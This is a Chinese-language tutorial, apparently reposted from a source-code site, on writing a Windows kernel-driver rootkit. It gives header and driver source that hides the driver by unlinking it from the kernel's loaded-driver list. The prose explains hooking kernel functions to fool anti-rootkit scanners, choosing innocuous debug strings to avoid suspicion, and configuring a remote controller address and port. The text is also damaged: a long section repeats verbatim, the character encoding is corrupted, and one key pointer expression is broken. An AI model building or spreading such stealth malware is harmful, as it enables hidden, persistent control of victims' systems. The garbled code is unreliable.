Rootkit隱形技術(shù)入門詳解
發(fā)布日期:2021-12-16 11:52 | 文章來源:源碼之家
一、綜述
本文將引領(lǐng)讀者打造一個(gè)初級(jí)的內(nèi)核級(jí)Rootkit,然后為其引入兩種簡單的隱形技術(shù):進(jìn)程隱形技術(shù)和文件隱形技術(shù)。同時(shí),為了讓讀者獲得rootkit編程的相關(guān)經(jīng)驗(yàn),我們順便介紹了rootkit的裝載、卸載方法,以及必不可少的測試技術(shù)。
本文介紹的Rootkit的主要構(gòu)件是一個(gè)設(shè)備驅(qū)動(dòng)程序,所以我們首先了解一下我們的第一個(gè)rootkit。
二、rootkit主體
本節(jié)引入一個(gè)簡單的rootkit實(shí)例,它實(shí)際上只給出了rootkit的主體框架,換句話說,就是一個(gè)設(shè)備驅(qū)動(dòng)程序。那么為什么要用設(shè)備驅(qū)動(dòng)程序作為主體呢?很明顯,因?yàn)樵谙到y(tǒng)中,設(shè)備驅(qū)動(dòng)程序和操作系統(tǒng)一樣,都是程序中的特權(quán)階級(jí)——它們運(yùn)行于Ring0,有權(quán)訪問系統(tǒng)中的所有代碼和數(shù)據(jù)。還有一點(diǎn)需要說明的是,因?yàn)楸纠饕康脑谟诮榻Brootkit是如何隱形的,所以并沒有實(shí)現(xiàn)后門之類的具體功能,。
我們將以源代碼的形式說明rootkit,對著重介紹一些重要的數(shù)據(jù)結(jié)構(gòu)和函數(shù)。下面,先給出我們用到的第一個(gè)文件,它是一個(gè)頭文件,名為Invisible.h,具體如下所示:
//Invisible.h:我們r(jià)ootkit的頭文件
#ifndef _INVISIBLE_H_
#define _INVISIBLE_H_ typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD* PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE; typedef struct _DRIVER_DATA
{
LIST_ENTRY listEntry;
DWORD unknown1;
DWORD unknown2;
DWORD unknown3;
DWORD unknown4;
DWORD unknown5;
DWORD unknown6;
DWORD unknown7;
UNICODE_STRING path;
UNICODE_STRING name;
} DRIVER_DATA; #endif
我們知道,應(yīng)用軟件只要簡單引用幾個(gè)文件如stdio.h和windows.h,就能囊括大量的定義。但這種做法到了驅(qū)動(dòng)程序這里就行不通了,原因大致有二條,一是驅(qū)動(dòng)程序體積一般較為緊湊,二是驅(qū)動(dòng)程序用途較為專一,用到的數(shù)據(jù)類型較少。因此,我們這里給出了一個(gè)頭文件Invisible.h,其中定義了一些供我們的rootkit之用的數(shù)據(jù)類型。 這里定義的類型中,有一個(gè)數(shù)據(jù)類型要提一下:雙字類型,它實(shí)際上是一個(gè)無符號(hào)長整型。此外,DRIVER_DATA是Windows 操作系統(tǒng)未公開的一個(gè)數(shù)據(jù)結(jié)構(gòu),其中含有分別指向設(shè)備驅(qū)動(dòng)程序目錄中上一個(gè)和下一個(gè)設(shè)備驅(qū)動(dòng)程序的指針。而我們這里開發(fā)的rootkit恰好就是作為設(shè)備驅(qū)動(dòng)程序來實(shí)現(xiàn),所以,只要從設(shè)備驅(qū)動(dòng)程序目錄中將我們的rootkit(即驅(qū)動(dòng)程序)所對應(yīng)的目錄項(xiàng)去掉,系統(tǒng)管理程序就看不到它了,從而實(shí)現(xiàn)了隱形。 上面介紹了rootkit的頭文件,現(xiàn)在開始介紹rootkit的主體部分,它實(shí)際就是一個(gè)基本的設(shè)備驅(qū)動(dòng)程序,具體代碼如下面的Invisible.c所示: // Invisible #include "ntddk.h"
#include "Invisible.h"
#include "fileManager.h"
#include "configManager.h" // 全局變量
ULONG majorVersion;
ULONG minorVersion; //當(dāng)進(jìn)行free build時(shí),將其注釋掉,以防被檢測到
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
DbgPrint("comint16: OnUnload called.");
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
DRIVER_DATA* driverData; //取得操作系統(tǒng)的版本
PsGetVersion( &majorVersion, &minorVersion, NULL, NULL ); // Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95
// Major = 5: Windows Server 2003, Windows XP 或 Windows 2000
// Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95
// Minor = 1: Windows XP
// Minor = 2: Windows Server 2003 if ( majorVersion == 5 && minorVersion == 2 )
{
DbgPrint("comint16: Running on Windows 2003");
}
else if ( majorVersion == 5 && minorVersion == 1 )
{
DbgPrint("comint16: Running on Windows XP");
}
else if ( majorVersion == 5 && minorVersion == 0 )
{
DbgPrint("comint16: Running on Windows 2000");
}
else if ( majorVersion == 4 && minorVersion == 0 )
{ DbgPrint("comint16: Running on Windows NT 4.0");
}
else
{
DbgPrint("comint16: Running on unknown system");
} // 隱藏該驅(qū)動(dòng)程序
driverData = *((DRIVER_DATA**)((DWORD)pDriverObject20));
if( driverData != NULL )
{
// 將本驅(qū)動(dòng)程序的相應(yīng)目錄項(xiàng)從項(xiàng)驅(qū)動(dòng)程序目錄中拆下來
*((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
} // 允許卸載本驅(qū)動(dòng)程序 pDriverObject->DriverUnload = OnUnload; // 為本Rootkit的控制器配置連接
if( !NT_SUCCESS( Configure() ) )
{
DbgPrint("comint16: Could not configure remote connection.\n");
return STATUS_UNSUCCESSFUL;
} return STATUS_SUCCESS;
}
Invisible.c是該rootkit的主體結(jié)構(gòu),其中包括入口函數(shù)DriverEntry和卸載函數(shù)OnUnload。操作系統(tǒng)加載該驅(qū)動(dòng)程序時(shí)將調(diào)用入口函數(shù)。我們看到,在傳遞給入口函數(shù)的參數(shù)中有一個(gè)是DRIVER_OBJECT,它的作用是給出跟該驅(qū)動(dòng)程序通信時(shí)所調(diào)用的函數(shù)的映射表。就本例而言,我們僅僅映射了一個(gè)函數(shù)pDriverObject-〉DriverUnload,這樣以來,當(dāng)卸載驅(qū)動(dòng)程序時(shí),操作系統(tǒng)調(diào)用onunload函數(shù)就可行了。需要特別說明的是,這一點(diǎn)在rootkit開發(fā)過程中特別實(shí)用,不用重啟系統(tǒng)就可以卸載驅(qū)動(dòng)程序,但是它卻帶來了一個(gè)大問題:容易被發(fā)現(xiàn),所以在隱蔽性要求較高時(shí)不能使用,我們已經(jīng)在源代碼的相應(yīng)部分給出了注釋。 下面我們看一下該rootkit如何實(shí)現(xiàn)隱形。我們將隱藏設(shè)備驅(qū)動(dòng)程序的代碼摘錄如下: // 隱藏該驅(qū)動(dòng)程序
driverData = *((DRIVER_DATA**)((DWORD)pDriverObject20));
if( driverData != NULL )
{
// 將本驅(qū)動(dòng)程序的相應(yīng)目錄項(xiàng)從項(xiàng)驅(qū)動(dòng)程序目錄中拆下來
*((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
}
為了達(dá)到不讓操作系統(tǒng)找到我們的rootkit設(shè)備驅(qū)動(dòng)程序的目的,這段代碼修改了系統(tǒng)內(nèi)核中的一個(gè)內(nèi)部數(shù)據(jù)結(jié)構(gòu)。系統(tǒng)中有一個(gè)雙向鏈表,專門記錄當(dāng)前運(yùn)行著的驅(qū)動(dòng)程序,也就是說每個(gè)運(yùn)行的驅(qū)動(dòng)程序在該鏈表中都有一個(gè)對應(yīng)的表項(xiàng)。像drivers.exe之類的應(yīng)用程序,正是通過該鏈表來獲取設(shè)備驅(qū)動(dòng)程序信息的,換句話說,如果從該鏈表中摘除本rootkit對應(yīng)的表項(xiàng),就能隱藏該rootkit的存在,從而躲過大多數(shù)的檢測。 細(xì)心的讀者也許會(huì)問:能藏起來固然是好,不過系統(tǒng)若僅通過該鏈表來感知驅(qū)動(dòng)程序的存在的話,我們的這樣做豈不是自己把rootkit給干掉了?!的幸運(yùn)的是,Windows操作系統(tǒng)的內(nèi)核使用另一個(gè)表來給各運(yùn)行中的驅(qū)動(dòng)程序分配時(shí)間,所以,即使從設(shè)備驅(qū)動(dòng)程序列表清除rootkit相應(yīng)的表項(xiàng),我們的rootkit也照樣活得很自在。 利用該技術(shù)隱匿rootkit時(shí),必須注意一點(diǎn):如果已在我們的rootkit之前安裝了anti-rootkit軟件,“清除一個(gè)設(shè)備驅(qū)動(dòng)程序表項(xiàng)”這一行為本身有可能被發(fā)覺,從而引起人們的注意。讀者會(huì)問:這該怎么辦呢?答案是,先記下本rootkit所對應(yīng)的設(shè)備驅(qū)動(dòng)程序表項(xiàng)的地址,然后鉤住鉤住檢查設(shè)備驅(qū)動(dòng)程序鏈表的內(nèi)核函數(shù),當(dāng)這個(gè)函數(shù)要檢查該鏈表時(shí),我們就有機(jī)會(huì)提前把保存的表項(xiàng)放回到設(shè)備驅(qū)動(dòng)程序鏈表。當(dāng)檢查過后,再將該表項(xiàng)摘除。這樣,在rootkit檢測程序看來,沒有人在設(shè)備驅(qū)動(dòng)程序鏈表做手腳:反Rootkit軟件被我們忽悠了。不過該技術(shù)較為復(fù)雜,超出了本文的討論范圍,有機(jī)會(huì)我們會(huì)專文講解。 您可能已經(jīng)注意到,在Invisible.c中很多地方都使用了調(diào)試語句。事實(shí)上,DbgPrint語句基本上可以在rootkit中隨意放置。在本例中,我們使用DbgPrint語句用來監(jiān)視驅(qū)動(dòng)程序的裝卸和錯(cuò)誤狀態(tài)。不過該語句的輸出不會(huì)直接顯示到標(biāo)準(zhǔn)輸出設(shè)備即顯示器上,只有在DebugView程序的幫助下,我們才可以查看這些語句的輸出。除DebugView程序外,內(nèi)核程序調(diào)試工具也可以達(dá)此目的。另外,我們的調(diào)試語句還有一個(gè)特點(diǎn),它們都以comint 32開頭,這樣做一方面是用以區(qū)別其他程序的調(diào)試語句的輸出。 另一方面利用comint 32這個(gè)詞是為了掩人耳目,因?yàn)檫@個(gè)詞很難讓人跟rootkit聯(lián)系到一塊。 三、配置管理器 我們的rootkit主體已經(jīng)建好,不過要想讓它干活,還得做些必要的配置。比如,如果需要對其進(jìn)行遠(yuǎn)程控制的話,就需要配置相應(yīng)的連接。所以,我們還需要一個(gè)配置管理器,來完成配置rootkit的工作。下面是Rootkit配置管理器的頭文件: // configManager.h
// 配置管理器的頭文件 #ifndef _CONFIG_MANAGER_H_
#define _CONFIG_MANAGER_H_ Char masterPort[10];
Char masterAddress1[4];
Char masterAddress2[4];
Char masterAddress3[4];
Char masterAddress4[4]; NTSTATUS Configure(); #endif
#ifndef _INVISIBLE_H_
#define _INVISIBLE_H_ typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD* PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE; typedef struct _DRIVER_DATA
{
LIST_ENTRY listEntry;
DWORD unknown1;
DWORD unknown2;
DWORD unknown3;
DWORD unknown4;
DWORD unknown5;
DWORD unknown6;
DWORD unknown7;
UNICODE_STRING path;
UNICODE_STRING name;
} DRIVER_DATA; #endif
我們知道,應(yīng)用軟件只要簡單引用幾個(gè)文件如stdio.h和windows.h,就能囊括大量的定義。但這種做法到了驅(qū)動(dòng)程序這里就行不通了,原因大致有二條,一是驅(qū)動(dòng)程序體積一般較為緊湊,二是驅(qū)動(dòng)程序用途較為專一,用到的數(shù)據(jù)類型較少。因此,我們這里給出了一個(gè)頭文件Invisible.h,其中定義了一些供我們的rootkit之用的數(shù)據(jù)類型。 這里定義的類型中,有一個(gè)數(shù)據(jù)類型要提一下:雙字類型,它實(shí)際上是一個(gè)無符號(hào)長整型。此外,DRIVER_DATA是Windows 操作系統(tǒng)未公開的一個(gè)數(shù)據(jù)結(jié)構(gòu),其中含有分別指向設(shè)備驅(qū)動(dòng)程序目錄中上一個(gè)和下一個(gè)設(shè)備驅(qū)動(dòng)程序的指針。而我們這里開發(fā)的rootkit恰好就是作為設(shè)備驅(qū)動(dòng)程序來實(shí)現(xiàn),所以,只要從設(shè)備驅(qū)動(dòng)程序目錄中將我們的rootkit(即驅(qū)動(dòng)程序)所對應(yīng)的目錄項(xiàng)去掉,系統(tǒng)管理程序就看不到它了,從而實(shí)現(xiàn)了隱形。 上面介紹了rootkit的頭文件,現(xiàn)在開始介紹rootkit的主體部分,它實(shí)際就是一個(gè)基本的設(shè)備驅(qū)動(dòng)程序,具體代碼如下面的Invisible.c所示: // Invisible #include "ntddk.h"
#include "Invisible.h"
#include "fileManager.h"
#include "configManager.h" // 全局變量
ULONG majorVersion;
ULONG minorVersion; //當(dāng)進(jìn)行free build時(shí),將其注釋掉,以防被檢測到
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
DbgPrint("comint16: OnUnload called.");
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
DRIVER_DATA* driverData; //取得操作系統(tǒng)的版本
PsGetVersion( &majorVersion, &minorVersion, NULL, NULL ); // Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95
// Major = 5: Windows Server 2003, Windows XP 或 Windows 2000
// Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95
// Minor = 1: Windows XP
// Minor = 2: Windows Server 2003 if ( majorVersion == 5 && minorVersion == 2 )
{
DbgPrint("comint16: Running on Windows 2003");
}
else if ( majorVersion == 5 && minorVersion == 1 )
{
DbgPrint("comint16: Running on Windows XP");
}
else if ( majorVersion == 5 && minorVersion == 0 )
{
DbgPrint("comint16: Running on Windows 2000");
}
else if ( majorVersion == 4 && minorVersion == 0 )
{ DbgPrint("comint16: Running on Windows NT 4.0");
}
else
{
DbgPrint("comint16: Running on unknown system");
} // 隱藏該驅(qū)動(dòng)程序
driverData = *((DRIVER_DATA**)((DWORD)pDriverObject20));
if( driverData != NULL )
{
// 將本驅(qū)動(dòng)程序的相應(yīng)目錄項(xiàng)從項(xiàng)驅(qū)動(dòng)程序目錄中拆下來
*((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
} // 允許卸載本驅(qū)動(dòng)程序 pDriverObject->DriverUnload = OnUnload; // 為本Rootkit的控制器配置連接
if( !NT_SUCCESS( Configure() ) )
{
DbgPrint("comint16: Could not configure remote connection.\n");
return STATUS_UNSUCCESSFUL;
} return STATUS_SUCCESS;
}
Invisible.c是該rootkit的主體結(jié)構(gòu),其中包括入口函數(shù)DriverEntry和卸載函數(shù)OnUnload。操作系統(tǒng)加載該驅(qū)動(dòng)程序時(shí)將調(diào)用入口函數(shù)。我們看到,在傳遞給入口函數(shù)的參數(shù)中有一個(gè)是DRIVER_OBJECT,它的作用是給出跟該驅(qū)動(dòng)程序通信時(shí)所調(diào)用的函數(shù)的映射表。就本例而言,我們僅僅映射了一個(gè)函數(shù)pDriverObject-〉DriverUnload,這樣以來,當(dāng)卸載驅(qū)動(dòng)程序時(shí),操作系統(tǒng)調(diào)用onunload函數(shù)就可行了。需要特別說明的是,這一點(diǎn)在rootkit開發(fā)過程中特別實(shí)用,不用重啟系統(tǒng)就可以卸載驅(qū)動(dòng)程序,但是它卻帶來了一個(gè)大問題:容易被發(fā)現(xiàn),所以在隱蔽性要求較高時(shí)不能使用,我們已經(jīng)在源代碼的相應(yīng)部分給出了注釋。 下面我們看一下該rootkit如何實(shí)現(xiàn)隱形。我們將隱藏設(shè)備驅(qū)動(dòng)程序的代碼摘錄如下: // 隱藏該驅(qū)動(dòng)程序
driverData = *((DRIVER_DATA**)((DWORD)pDriverObject20));
if( driverData != NULL )
{
// 將本驅(qū)動(dòng)程序的相應(yīng)目錄項(xiàng)從項(xiàng)驅(qū)動(dòng)程序目錄中拆下來
*((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
}
為了達(dá)到不讓操作系統(tǒng)找到我們的rootkit設(shè)備驅(qū)動(dòng)程序的目的,這段代碼修改了系統(tǒng)內(nèi)核中的一個(gè)內(nèi)部數(shù)據(jù)結(jié)構(gòu)。系統(tǒng)中有一個(gè)雙向鏈表,專門記錄當(dāng)前運(yùn)行著的驅(qū)動(dòng)程序,也就是說每個(gè)運(yùn)行的驅(qū)動(dòng)程序在該鏈表中都有一個(gè)對應(yīng)的表項(xiàng)。像drivers.exe之類的應(yīng)用程序,正是通過該鏈表來獲取設(shè)備驅(qū)動(dòng)程序信息的,換句話說,如果從該鏈表中摘除本rootkit對應(yīng)的表項(xiàng),就能隱藏該rootkit的存在,從而躲過大多數(shù)的檢測。 細(xì)心的讀者也許會(huì)問:能藏起來固然是好,不過系統(tǒng)若僅通過該鏈表來感知驅(qū)動(dòng)程序的存在的話,我們的這樣做豈不是自己把rootkit給干掉了?!的幸運(yùn)的是,Windows操作系統(tǒng)的內(nèi)核使用另一個(gè)表來給各運(yùn)行中的驅(qū)動(dòng)程序分配時(shí)間,所以,即使從設(shè)備驅(qū)動(dòng)程序列表清除rootkit相應(yīng)的表項(xiàng),我們的rootkit也照樣活得很自在。 利用該技術(shù)隱匿rootkit時(shí),必須注意一點(diǎn):如果已在我們的rootkit之前安裝了anti-rootkit軟件,“清除一個(gè)設(shè)備驅(qū)動(dòng)程序表項(xiàng)”這一行為本身有可能被發(fā)覺,從而引起人們的注意。讀者會(huì)問:這該怎么辦呢?答案是,先記下本rootkit所對應(yīng)的設(shè)備驅(qū)動(dòng)程序表項(xiàng)的地址,然后鉤住鉤住檢查設(shè)備驅(qū)動(dòng)程序鏈表的內(nèi)核函數(shù),當(dāng)這個(gè)函數(shù)要檢查該鏈表時(shí),我們就有機(jī)會(huì)提前把保存的表項(xiàng)放回到設(shè)備驅(qū)動(dòng)程序鏈表。當(dāng)檢查過后,再將該表項(xiàng)摘除。這樣,在rootkit檢測程序看來,沒有人在設(shè)備驅(qū)動(dòng)程序鏈表做手腳:反Rootkit軟件被我們忽悠了。不過該技術(shù)較為復(fù)雜,超出了本文的討論范圍,有機(jī)會(huì)我們會(huì)專文講解。 您可能已經(jīng)注意到,在Invisible.c中很多地方都使用了調(diào)試語句。事實(shí)上,DbgPrint語句基本上可以在rootkit中隨意放置。在本例中,我們使用DbgPrint語句用來監(jiān)視驅(qū)動(dòng)程序的裝卸和錯(cuò)誤狀態(tài)。不過該語句的輸出不會(huì)直接顯示到標(biāo)準(zhǔn)輸出設(shè)備即顯示器上,只有在DebugView程序的幫助下,我們才可以查看這些語句的輸出。除DebugView程序外,內(nèi)核程序調(diào)試工具也可以達(dá)此目的。另外,我們的調(diào)試語句還有一個(gè)特點(diǎn),它們都以comint 32開頭,這樣做一方面是用以區(qū)別其他程序的調(diào)試語句的輸出。 另一方面利用comint 32這個(gè)詞是為了掩人耳目,因?yàn)檫@個(gè)詞很難讓人跟rootkit聯(lián)系到一塊。 三、配置管理器 我們的rootkit主體已經(jīng)建好,不過要想讓它干活,還得做些必要的配置。比如,如果需要對其進(jìn)行遠(yuǎn)程控制的話,就需要配置相應(yīng)的連接。所以,我們還需要一個(gè)配置管理器,來完成配置rootkit的工作。下面是Rootkit配置管理器的頭文件: // configManager.h
// 配置管理器的頭文件 #ifndef _CONFIG_MANAGER_H_
#define _CONFIG_MANAGER_H_ Char masterPort[10];
Char masterAddress1[4];
Char masterAddress2[4];
Char masterAddress3[4];
Char masterAddress4[4]; NTSTATUS Configure(); #endif
版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。
相關(guān)文章
關(guān)注官方微信